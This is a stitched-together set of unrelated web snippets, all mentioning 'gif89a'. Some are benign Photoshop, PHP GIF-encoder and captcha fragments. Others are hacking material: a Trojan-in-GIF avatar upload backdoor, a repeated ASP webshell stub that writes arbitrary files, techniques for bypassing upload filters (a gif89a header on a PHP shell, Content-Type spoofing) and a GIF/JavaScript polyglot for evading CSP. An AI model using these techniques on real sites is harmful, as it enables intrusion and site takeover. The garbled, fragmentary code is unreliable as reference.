gif89a

Nethacking Source: http://www.powers.com.cn Author: Love sorrow Background:(1) upload files online and back up the files to obtain Backdoors(2) gif89a can be used to upload a GIF image with Trojan Horse content: escape the picture upload detection.Therefore, a new method is created: Upload the GIF Avatar image and back up the Trojan. (Use range: versions earlier than 7.1) However, many people cannot display a picture after executing a backdoor. I wil

How to transparently output a transparent background gif image from Photoshop is a difficult problem for many beginners, so let's take a look at some common methods. Method One: Select menu command File > Export > gif89a Export, use the eyedropper to draw the transparent part and save the picture. There is no gif89a Export option to find Adobe photoshop 5.5/plug-ins/adobe photoshop in Photoshop 5.5 only

data is submitted. It is not difficult to do this: Dim formdata,formsize Formsize=request.totalbytes Formdata=request.binaryread (Formsize) Response.BinaryWrite FormData %> Because you need to read the raw byte data submitted by the previous page, you cannot use the Request.Form () method, you must use the BinaryRead method, and once you use this method, you cannot use the Form () method on the same page, and vice versa. For the same reason, you must also use the BinaryWrite method when exporti

used to store a single static image (gif87a). Later, with the development of technology, several static images can be stored simultaneously to Form Continuous animation, at that time, it became one of the few formats supporting 2D animation (gif89a). In gif89a images, a transparent area can be specified, so that the image has an extraordinary display effect, which makes the GIF more elegant. Currently, mos

0x01.In question one (see above), get the file suffix name $file_type = $_fiels[' file ' [' type '], by comparison with the whitelist, if the same, then take the name of the upload file suffix. As mentioned above, the MIME header spoofing problem (here does not consider renaming the file name problem), if the upload packet modifies the type of Content-type, $file _type to get the modified file type.such as: Upload 1.php=>burpsuite intercept modified packet content-type is:image/jpg=> $file _type

First paragraph: Copy Code code as follows: gif89a$;On Error Resume Next Testfile=request.form ("filepath") Msg=request.form ("message") If Trim (Request ("filepath")) Set Fs=server. CreateObject ("Scripting.FileSystemObject") Set THISFILE=FS. CreateTextFile (Testfile,true) Thisfile. Write ("msg") If Err =0 Then Response.Write "Else Response.Write "End If Err.Clear Thisfile.close Set fs = Nothing End If %> Value= " Second

General site image upload function to filter files to prevent webshelll write. But different programs for filtering is not the same, how to break through the filter to continue uploading?This article summarizes seven ways, can break through!1, the file head +gif89a method. (PHP)//This is very well understood, directly at the top of the PHP horse written gif89a, and then upload dama.php2. Use the Edjpgcom to

Article 1: CopyCode The Code is as follows: gif89a $; On Error resume next Testfile = request. Form ("filepath ") MSG = request. Form ("message ") If trim (Request ("filepath") Set FS = server. Createobject ("scripting. FileSystemObject ") Set thisfile = FS. createtextfile (testfile, true) Thisfile. Write ("" MSG "") If err = 0 then Response. Write "Else Response. Write "End if Err. Clear Thisfile. Close Set FS = nothing End if %> Value = "Section 2

Common method 0: Use the gif89a class: Advantage: it is easy and convenient to use dynamic GIF statements. Disadvantage: Sometimes there will be edge effects, and some images will be quite obvious. Usage:# Include "gif89a. H"Cgif89a * GIF;Add:GIF = new cgif89a (this-> m_hwnd );GIF-> load ("test.gif ");GIF-> setposition (100,100 );GIF-> play (); // GIF-> pause (true); // pause (true) is used to pause GIF pl

, $ width), mt_rand (0, $ height), mt_rand (0, $ width), mt_rand (0, $ height ), $ colorList [$ colorRandom]);} Else {$ W = mt_rand (0, $ width );$ H = mt_rand (0, $ width );Imagearc ($ image, $ width-floor ($ w/2), floor ($ h/2), $ w, $ h, rand (90,180), rand (180,270 ), $ colorList [$ colorRandom]);}}Imagegif ($ image );Imagedestroy ($ image );$ Imagedata [] = ob_get_contents ();Ob_clean ();++ $ I;}$ Gif = new GIFEncoder ($ imagedata );Header ('content-type: image/gif ');Echo $ gif-> GetAnimat

caller sometimes intrude into a site Expression: http://www.xxx.com/manage/asp/edit.moneyasp? Id = # Possible pages: News Publishing Page, Administrator adding page, member list page, website layout page, etc. Upload vulnerabilities, that is, website Image Upload points. Some upload addresses are very confidential. They are used for user groups to upload images, pictures, or company PDF, xls, and Doc files, but some people use it There are many common Upload Vulnerability pages, includi

[$i -1]= "1";}}$transparent =array (0);$gif = new Gifencoder ($imagedata, $delay, 0,2,0,0, $transparent, "bin");Ob_start ();Header (' content-type:image/gif ');echo $gif->getanimation ();?> Gifencoder class Source: Copy CodeThe code is as follows:Class Gifencoder {var $GIF = "gif89a"; /* GIF Header 6 bytes */var $VER = "Gifencoder V2.06"; /* Encoder version */var $BUF = Array ();var $LOP = 0;var $DIS = 2;var $COL =-1;var $IMG =-1;var $ERR = Array ('

["Secode"]: ""); Verification code generated by the sessionif ($reqCode! = $sessionCode) {echo "Security Captcha Error! ";Die ();}*/$mod = Strtolower (isset ($_request["mod"])? $_request["mod"]: "");if ($mod = = "Code") {echo Securitycode::D Raw (4, 2, +, "Secode");Die ();} Security Verification Code ClassClass Securitycode { private static $Debug = 0; private static $Code = '; private static $Chars = ' bcdefhkmnrstuvwxyABCDEFGHKMNPRSTUVWXY34568 '; //private static $Chars = ' abcdefghijklmnop

? Functionget_status ($ uin) {$ fpfsockopen (wwp.icq.com, 80, $ errno, $ errstr, 30); if (! $ Fp) {echo $ errstr ($ errno) brn;} else {fputs ($ fp, GETscriptsonline. dll? Icq $ uinimg5HTTP1.0nn); $ doyes; while (! Feof ($ fp) {$ linefgets ($ fp, Function get_status ($ uin) { $ Fp = fsockopen ("wwp.icq.com", 80, $ errno, $ errstr, 30 ); If (! $ Fp) { Echo "$ errstr ($ errno) \ N "; } Else { Fputs ($ fp, "GET/scripts/online. dll? Icq = $ uin img = 5 HTTP/1.0 \ n "); $ Do = 'yes '; While (! Feof

(); Ob_clean (); + + $i; } $gif = new Gifencoder ($imagedata); Header (' content-type:image/gif '); echo $gif->getanimation (); } Gifencoder class Source:Copy CodeThe code is as follows:Class Gifencoder {var $GIF = "gif89a"; /* GIF Header 6 bytes */var $VER = "Gifencoder V2.06"; /* Encoder version */var $BUF = Array ();var $LOP = 0;var $DIS = 2;var $COL =-1;var $IMG =-1;var $ERR = Array (' ERR00 ' = ' Does not supported function for only one image! '

: Class Gifencoder {var $GIF = "gif89a"; /* GIF Header 6 bytes */var $VER = "Gifencoder V2.06"; /* Encoder version */var $BUF = Array ();var $LOP = 0;var $DIS = 2;var $COL =-1;var $IMG =-1;var $ERR = Array (' ERR00 ' = ' Does not supported function for only one image! ',' ERR01 ' = ' Source is not a GIF image! ',' ERR02 ' = ' unintelligible flag ',' ERR03 ' = ' Could not make animation from animated GIF source ',);/*::::::::::::::::::::::::::::::::::

First, the basic overview The application of the picture is more and more deep into our daily life, such as the current popular SMS business and budding MMS business. Therefore, it is necessary to get the image of the number of bytes, format, color, width and height of information, in order to better on the phone to achieve the perfect effect, to meet the urgent needs of consumers, improve business competitiveness of the final. Second, picture related information description 1, GIF pictures

javascript payload and reference it as the source code. If we can successfully inject the same domain name, as shown below, this can effectively help us bypass CSP (Content Security Policy) Protection (which cannot be executed for Example) To create such an image, you can use the following content and name the file as. gif Suffix: GIF89a/* */=alert(document.domain)//; The GIF File ID GIF89a is

= rand (0, 1 ); $ Todrawline = 1; If ($ todrawline) { Imageline ($ image, mt_rand (0, $ board_width), mt_rand (0, $ board_height), mt_rand (0, $ board_width), mt_rand (0, $ board_height ), $ colorList [$ colorRandom]); } Else { $ W = mt_rand (0, $ board_width ); $ H = mt_rand (0, $ board_width ); Imagearc ($ image, $ board_width-floor ($ w/2), floor ($ h/2), $ w, $ h, rand (90,180), rand (180,270 ), $ colorList [$ colorRandom]); } } Imagegif ($ image ); Imagedestroy ($ image ); $ Imagedata [] =

the file sizeLl_filelength = filelength (as_filename) // Open the fileLi_file = fileopen (as_filename, streammode !)If li_file =-1 then return 0 // Read the fileLi_dataread = fileread (li_file, lb_data)If li_dataread Fileclose (li_file)Return 0End if // Currently, there are two main types of GIF// 1. It is identified as gif87a and is only used to store a single static image.// 2. Marked as gif89a. Several static images can be stored at the same time